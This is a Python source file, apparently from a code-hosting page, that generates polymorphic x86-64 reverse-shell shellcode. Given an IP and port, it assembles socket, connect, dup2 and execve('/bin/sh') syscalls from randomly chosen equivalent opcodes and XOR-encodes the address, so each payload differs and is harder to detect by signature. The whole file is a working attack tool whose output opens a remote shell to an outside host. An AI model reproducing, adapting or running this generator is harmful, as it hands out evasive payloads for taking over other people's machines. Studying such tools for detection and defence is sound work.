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Copy pathshellcode-polymorphic.py
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executable file
·261 lines (204 loc) · 8.19 KB
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#!/usr/bin/env python3
'''
Program : Reverse shell TCP polymorphic shellcode generator
Authors : Ander ARROSTEGUY, Matthieu BAILLY, Mohamed BOUHASTINE
'''
import random
import re
import sys
from socket import htons
############################################################
def header():
print("Reverse shell polymorphic shellcode generator 1.0")
print("Written by Ander, Matthieu & Mohamed\n")
############################################################
def usage():
print("Usage : %s <IP> <PORT> [<SIZE_LIMIT>]" % (sys.argv[0].split('/')[-1]))
############################################################
def ip_to_opcode(ip):
ip_digits = list(reversed(ip.split(".")))
ip_hexa = "0x"
for ip_digit in ip_digits:
ip_hexa += "%.2x" % int(ip_digit)
to_asm = iter("%.2x" % (int("%d" % int(ip_hexa, 16)) ^ int("%d" % 0xdeadbeef)))
return ' '.join(list(reversed(' '.join(
x + y for x, y in zip(
to_asm,
to_asm
)
).split(" "))))
############################################################
def port_to_opcode(port):
port_chars = iter("%.2x" % (htons(port)))
return ' '.join(list(reversed(' '.join(
x + y for x, y in zip(
port_chars,
port_chars
)
).split(" "))))
############################################################
# return syscall opcode
def syscall():
return "0f 05"
############################################################
# xor les registres xor reg, reg | xor r8, r8 ; mov reg, r8
def clean_register(register):
if (register == 'rax'):
opcodes = ["48 31 c0", "4d 31 c0 4c 89 c0"]
return opcodes[random.randint(0, len(opcodes) - 1)] + ' '
elif (register == 'rbx'):
opcodes = ["48 31 db", "4d 31 c0 4c 89 c3"]
return opcodes[random.randint(0, len(opcodes) - 1)] + ' '
elif (register == 'rcx'):
opcodes = ["48 31 c9", "4d 31 c0 4c 89 c1"]
return opcodes[random.randint(0, len(opcodes) - 1)] + ' '
elif (register == 'rdx'):
opcodes = ["48 31 d2", "4d 31 c0 4c 89 c2"]
return opcodes[random.randint(0, len(opcodes) - 1)] + ' '
elif (register == 'rsi'):
opcodes = ["48 31 f6", "4d 31 c0 4c 89 c6"]
return opcodes[random.randint(0, len(opcodes) - 1)] + ' '
elif (register == 'rdi'):
opcodes = ["48 31 ff", "4d 31 c0 4c 89 c7"]
return opcodes[random.randint(0, len(opcodes) - 1)] + ' '
else:
return 0
############################################################
# sys_socket
def socket():
opcodes = ""
opcodes_socket = [
["b0 29", "b0 28 04 01"], # mov al, 41
["40 b7 02", "40 b7 01 40 80 c7 01"], # mov dil, 2
["40 b6 01", "40 b6 02 40 80 ee 01"] # mov sil, 1
]
for i in range(0, len(opcodes_socket)):
opcodes += "%s " % (opcodes_socket[i][random.randint(0, len(opcodes_socket[i]) - 1)])
opcodes += "%s " % syscall()
return opcodes
############################################################
# sys_connect
def connect(ip, port):
ip_opcodes = ip_to_opcode(ip)
port_opcodes = port_to_opcode(port)
opcodes = ""
opcodes_connect = [
["49 89 c7", "4d 31 c0 49 89 c0 4d 89 c7"], # mov r15, rax
["48 89 c7", "4d 31 c0 49 89 c0 4c 89 c7"], # mov rdi, rax
[clean_register('rax').rstrip()], # xor rax, rax
["b0 2a", "b0 29 04 01"], # mov al, 42
["53"], # push rbx
["be %s" % ip_opcodes], # mov esi, 0xdfadbe90
["81 f6 ef be ad de"], # xor esi, 0xdeadbeef
["66 68 %s" % port_opcodes], # push word 7459 = 23 1d - 0x1d23 = 8989
["66 6a 02"], # push word 2
["48 89 e6", "4d 31 c0 49 89 e0 4c 89 c6"], # mov rsi, rsp
["b2 18", "4d 31 c0 41 b0 18 44 88 c2"] # mov dl, 24
]
for i in range(0, len(opcodes_connect)):
opcodes += "%s " % (opcodes_connect[i][random.randint(0, len(opcodes_connect[i]) - 1)])
opcodes += "%s " % syscall()
return opcodes
############################################################
# dup2(3, 0) ; dup2(3, 1) ; dup2(3, 2)
def dup2x3():
opcodes = ""
opcodes_dup20 = [
[clean_register('rax').rstrip()], # xor rax, rax
[clean_register('rdx').rstrip()], # xor rdx, rdx
["b0 21", "b0 20 04 01"], # mov al, 33
["4c 89 ff", "4d 31 c0 4d 89 f8 4c 89 c7"], # mov rdi, r15
[clean_register('rsi').rstrip()] # xor rsi, rsi
]
for i in range(0, len(opcodes_dup20)):
opcodes += "%s " % (opcodes_dup20[i][random.randint(0, len(opcodes_dup20[i]) - 1)])
opcodes += "%s " % syscall()
opcodes_dup21 = [
[clean_register('rax').rstrip()], # xor rax, rax
[clean_register('rdx').rstrip()], # xor rdx, rdx
["b0 21", "b0 20 04 01"], # mov al, 33
["4c 89 ff", "4d 31 c0 4d 89 f8 4c 89 c7"], # mov rdi, r15
[clean_register('rsi').rstrip()], # xor rsi, rsi
["40 b6 01", "4d 31 c0 41 b0 01 44 88 c6"] # mov sil, 1
]
for i in range(0, len(opcodes_dup21)):
opcodes += "%s " % (opcodes_dup21[i][random.randint(0, len(opcodes_dup21[i]) - 1)])
opcodes += "%s " % syscall()
opcodes_dup22 = [
[clean_register('rax').rstrip()], # xor rax, rax
[clean_register('rdx').rstrip()], # xor rdx, rdx
["b0 21", "b0 20 04 01"], # mov al, 33
["4c 89 ff", "4d 31 c0 4d 89 f8 4c 89 c7"], # mov rdi, r15
[clean_register('rsi').rstrip()], # xor rsi, rsi
["40 b6 02", "4d 31 c0 41 b0 02 44 88 c6"] # mov sil, 2
]
for i in range(0, len(opcodes_dup22)):
opcodes += "%s " % (opcodes_dup22[i][random.randint(0, len(opcodes_dup22[i]) - 1)])
opcodes += "%s " % syscall()
return opcodes
############################################################
# sys_execve("/bin/sh")
def gimme_shell():
opcodes = ""
opcodes_execve = [
[clean_register('rax').rstrip()], # xor rax, rax
[clean_register('rdx').rstrip()], # xor rdx, rdx
["48 bb 2f 2f 62 69 6e 2f 73 68", "4d 31 c0 49 b8 2f 2f 62 69 6e 2f 73 68 4c 89 c3"], # mov rbx, 0x68732f6e69622f2f
["50"], # push rax
["53"], # push rbx
["48 89 e7", "4d 31 c0 49 89 e0 4c 89 c7"], # mov rdi, rsp
["50"], # push rax
["57"], # push rdi
["48 89 e6", "4d 31 c0 49 89 e0 4c 89 c6"], # mov rsi, rsp
["b0 3b", "b0 3c 2c 01"] # mov al, 0x3b
]
for i in range(0, len(opcodes_execve)):
opcodes += "%s " % (opcodes_execve[i][random.randint(0, len(opcodes_execve[i]) - 1)])
opcodes += "%s " % syscall()
return opcodes
############################################################
def generate_shellcode(ip, port):
opcodes = clean_register("rax")
opcodes += clean_register('rbx')
opcodes += clean_register('rcx')
opcodes += clean_register('rdx')
opcodes += clean_register('rsi')
opcodes += clean_register('rdi')
opcodes += socket()
opcodes += connect(ip, port)
opcodes += dup2x3()
opcodes += gimme_shell()
opcodes = re.findall("[a-f0-9]{2} ", opcodes)
shellcode = ""
for opcode in opcodes:
shellcode = shellcode + "\\x" + opcode.rstrip()
return shellcode, len(opcodes)
def main(ip, port, size_limit = None):
print("[.] generating shellcode...")
if (size_limit != None):
while True:
shellcode, length = generate_shellcode(ip, port)
if (length <= size_limit):
break
else:
shellcode, length = generate_shellcode(ip, port)
print("[+] %d bytes shellcode generated for %s:%d\n\n%s" % (length, ip, port, str(shellcode)))
############################################################
if (__name__ == "__main__"):
header()
if (len(sys.argv[1:]) < 2):
print("[-] illegal parameters number.")
usage()
exit(1)
ip = sys.argv[1]
port = int(sys.argv[2])
if (len(re.findall("^[0-9]{,3}\.[0-9]{,3}\.[0-9]{,3}\.[0-9]{,3}$", ip)) != 1):
print("[-] given IP is not IPv4.")
usage()
exit(2)
if (port < 1 or port > 65535):
print("[-] port number must be between 1 and 65535")
usage()
exit(3)
size_limit = int(sys.argv[3]) if (len(sys.argv[3:]) == 1) else None
main(ip, port, size_limit)
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